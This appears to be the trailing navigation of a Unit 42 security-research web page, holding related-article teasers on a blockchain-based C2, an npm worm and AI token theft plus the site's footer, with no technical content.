  ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/)

* [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum")

* [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications")  
  ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm")  
  ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/)

* [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API")

* [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway")

* [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42

## Peace of mind comes from staying ahead of threats. Subscribe today.

Your Email

Subscribe for email updates to all Unit 42 threat research.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement")

This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.

Invalid captcha!
Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security)

* [Secure AI by Design](https://www.paloaltonetworks.com/ai-security)

* [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase)

* [Prisma SASE](https://www.paloaltonetworks.com/sase)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam)

* [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira)

* [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management)

* [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager)

* [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance)

* [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management)

* [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic)

* [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management)

* [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance)

* [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery)

* [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42)

* [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense)

* [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses)

* [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy)

* [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence)

* [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond)  
  Company

* [About Us](https://www.paloaltonetworks.com/about-us)

* [Careers](https://jobs.paloaltonetworks.com/en/)

* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales)

* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [Customers](https://www.paloaltonetworks.com/customers)

* [Investor Relations](https://investors.paloaltonetworks.com/)

* [Location](https://www.paloaltonetworks.com/about-us/locations)

* [Newsroom](https://www.paloaltonetworks.com/company/newsroom)  
  Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/)

* [Communities](https://www.paloaltonetworks.com/communities)

* [Content Library](https://www.paloaltonetworks.com/resources)

* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia)

* [Event Center](https://events.paloaltonetworks.com/)

* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center)

* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z)

* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications)

* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure)

* [Sitemap](https://www.paloaltonetworks.com/sitemap)

* [Tech Docs](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.com/)

* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy)

* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center)

* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use)

* [Documents](https://www.paloaltonetworks.com/legal)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)
